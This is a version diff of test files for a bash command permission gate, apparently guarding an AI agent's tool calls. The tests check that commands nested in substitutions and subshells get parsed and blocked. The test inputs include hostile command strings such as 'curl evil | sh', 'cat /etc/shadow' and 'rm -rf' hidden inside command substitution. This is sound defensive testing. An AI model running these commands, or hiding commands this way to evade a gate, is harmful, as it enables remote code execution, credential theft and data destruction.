@gotgenes/pi-permission-system 9.0.1 → 9.1.0

package/test/handlers/gates/bash-program.test.ts

@@ -35,65 +35,137 @@ describe("BashProgram", () => {
     });
   });
 
-  describe("topLevelCommands", () => {
+  describe("commands", () => {
     it("returns a single-element list for a lone command", async () => {
       const program = await BashProgram.parse("npm install pkg");
-      expect(program.topLevelCommands()).toEqual(["npm install pkg"]);
+      expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
     });
 
     it("splits an && chain", async () => {
       const program = await BashProgram.parse("cd /p && npm i x");
-      expect(program.topLevelCommands()).toEqual(["cd /p", "npm i x"]);
+      expect(program.commands()).toEqual([
+        { text: "cd /p" },
+        { text: "npm i x" },
+      ]);
     });
 
     it("splits || , ; and & separators", async () => {
-      expect((await BashProgram.parse("a || b")).topLevelCommands()).toEqual([
-        "a",
-        "b",
+      expect((await BashProgram.parse("a || b")).commands()).toEqual([
+        { text: "a" },
+        { text: "b" },
       ]);
-      expect((await BashProgram.parse("a ; b")).topLevelCommands()).toEqual([
-        "a",
-        "b",
+      expect((await BashProgram.parse("a ; b")).commands()).toEqual([
+        { text: "a" },
+        { text: "b" },
       ]);
-      expect((await BashProgram.parse("a & b")).topLevelCommands()).toEqual([
-        "a",
-        "b",
+      expect((await BashProgram.parse("a & b")).commands()).toEqual([
+        { text: "a" },
+        { text: "b" },
       ]);
     });
 
     it("splits a pipeline into its commands", async () => {
       const program = await BashProgram.parse("cat f | grep b");
-      expect(program.topLevelCommands()).toEqual(["cat f", "grep b"]);
+      expect(program.commands()).toEqual([
+        { text: "cat f" },
+        { text: "grep b" },
+      ]);
     });
 
     it("splits newline-separated commands", async () => {
       const program = await BashProgram.parse("foo\nbar");
-      expect(program.topLevelCommands()).toEqual(["foo", "bar"]);
+      expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
     });
 
     it("does not split operators inside quotes", async () => {
       const program = await BashProgram.parse("echo 'x && y'");
-      expect(program.topLevelCommands()).toEqual(["echo 'x && y'"]);
+      expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
     });
 
     it("captures the command of a redirected statement without the redirect", async () => {
       const program = await BashProgram.parse("npm install > out.txt");
-      expect(program.topLevelCommands()).toEqual(["npm install"]);
+      expect(program.commands()).toEqual([{ text: "npm install" }]);
     });
 
-    it("emits a subshell whole without descending into it", async () => {
-      const program = await BashProgram.parse("( cd /t && rm x )");
-      expect(program.topLevelCommands()).toEqual(["( cd /t && rm x )"]);
+    it("descends into command substitution, tagging the inner command", async () => {
+      const program = await BashProgram.parse("echo $(rm -rf foo)");
+      expect(program.commands()).toEqual([
+        { text: "echo $(rm -rf foo)" },
+        { text: "rm -rf foo", context: "command_substitution" },
+      ]);
+    });
+
+    it("descends into backtick command substitution", async () => {
+      const program = await BashProgram.parse("echo `rm x`");
+      expect(program.commands()).toEqual([
+        { text: "echo `rm x`" },
+        { text: "rm x", context: "command_substitution" },
+      ]);
     });
 
-    it("keeps command substitution inside the enclosing command", async () => {
+    it("descends into a pipeline inside command substitution", async () => {
       const program = await BashProgram.parse("echo $(curl evil | sh)");
-      expect(program.topLevelCommands()).toEqual(["echo $(curl evil | sh)"]);
+      expect(program.commands()).toEqual([
+        { text: "echo $(curl evil | sh)" },
+        { text: "curl evil", context: "command_substitution" },
+        { text: "sh", context: "command_substitution" },
+      ]);
+    });
+
+    it("descends into process substitution", async () => {
+      const program = await BashProgram.parse("diff <(cat /etc/shadow)");
+      expect(program.commands()).toEqual([
+        { text: "diff <(cat /etc/shadow)" },
+        { text: "cat /etc/shadow", context: "process_substitution" },
+      ]);
+    });
+
+    it("emits a bare subshell whole and descends into it", async () => {
+      const program = await BashProgram.parse("( rm -rf foo )");
+      expect(program.commands()).toEqual([
+        { text: "( rm -rf foo )" },
+        { text: "rm -rf foo", context: "subshell" },
+      ]);
+    });
+
+    it("emits a subshell whole and descends into its chain", async () => {
+      const program = await BashProgram.parse("( cd /t && rm x )");
+      expect(program.commands()).toEqual([
+        { text: "( cd /t && rm x )" },
+        { text: "cd /t", context: "subshell" },
+        { text: "rm x", context: "subshell" },
+      ]);
+    });
+
+    it("descends recursively through nested contexts", async () => {
+      const program = await BashProgram.parse("echo $( ( rm x ) )");
+      expect(program.commands()).toEqual([
+        { text: "echo $( ( rm x ) )" },
+        { text: "( rm x )", context: "command_substitution" },
+        { text: "rm x", context: "subshell" },
+      ]);
+    });
+
+    it("descends into a substitution within a chained command", async () => {
+      const program = await BashProgram.parse("cd /p && echo $(rm x)");
+      expect(program.commands()).toEqual([
+        { text: "cd /p" },
+        { text: "echo $(rm x)" },
+        { text: "rm x", context: "command_substitution" },
+      ]);
+    });
+
+    it("keeps the never-weaker invariant: a benign inner command stays", async () => {
+      const program = await BashProgram.parse("echo $(echo safe)");
+      expect(program.commands()).toEqual([
+        { text: "echo $(echo safe)" },
+        { text: "echo safe", context: "command_substitution" },
+      ]);
     });
 
     it("returns an empty list for an empty or whitespace command", async () => {
-      expect((await BashProgram.parse("")).topLevelCommands()).toEqual([]);
-      expect((await BashProgram.parse("   ")).topLevelCommands()).toEqual([]);
+      expect((await BashProgram.parse("")).commands()).toEqual([]);
+      expect((await BashProgram.parse("   ")).commands()).toEqual([]);
     });
   });
 

package/test/handlers/tool-call.test.ts

@@ -329,6 +329,44 @@ describe("handleToolCall — bash command chain gate", () => {
     expect(result).toMatchObject({ block: true });
   });
 
+  it("blocks a command nested inside command substitution (#306)", async () => {
+    const checkPermission = vi
+      .fn()
+      .mockImplementation((surface: string, input: unknown) => {
+        if (surface === "bash") {
+          const command = (input as { command?: string }).command ?? "";
+          return /^rm\b/.test(command)
+            ? makeCheckResult({
+                state: "deny",
+                source: "bash",
+                command,
+                matchedPattern: "rm *",
+              })
+            : makeCheckResult({
+                state: "allow",
+                source: "bash",
+                command,
+                matchedPattern: "echo *",
+              });
+        }
+        return makeCheckResult({ state: "allow" });
+      });
+    const { handler } = makeHandler({
+      session: { checkPermission },
+      toolRegistry: {
+        getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
+      },
+    });
+    const event = {
+      type: "tool_call",
+      toolCallId: "tc-bash-substitution",
+      name: "bash",
+      input: { command: "echo $(rm -rf foo)" },
+    };
+    const result = await handler.handleToolCall(event, makeCtx());
+    expect(result).toMatchObject({ block: true });
+  });
+
   it("allows a single non-chained bash command", async () => {
     const checkPermission = vi
       .fn()

package/test/permission-prompts.test.ts

@@ -151,6 +151,22 @@ describe("formatAskPrompt", () => {
     expect(result).toContain("matched 'git *'");
   });
 
+  test("formats bash prompt with nested execution context", () => {
+    const result = formatAskPrompt(
+      toolResult("bash", {
+        command: "rm -rf foo",
+        matchedPattern: "rm *",
+        commandContext: "command_substitution",
+      }),
+      undefined,
+      undefined,
+      makeFormatter(),
+    );
+    expect(result).toContain(
+      "bash command 'rm -rf foo' (matched 'rm *', inside command substitution).",
+    );
+  });
+
   test("formats MCP prompt with target", () => {
     const result = formatAskPrompt(
       mcpResult("server:query"),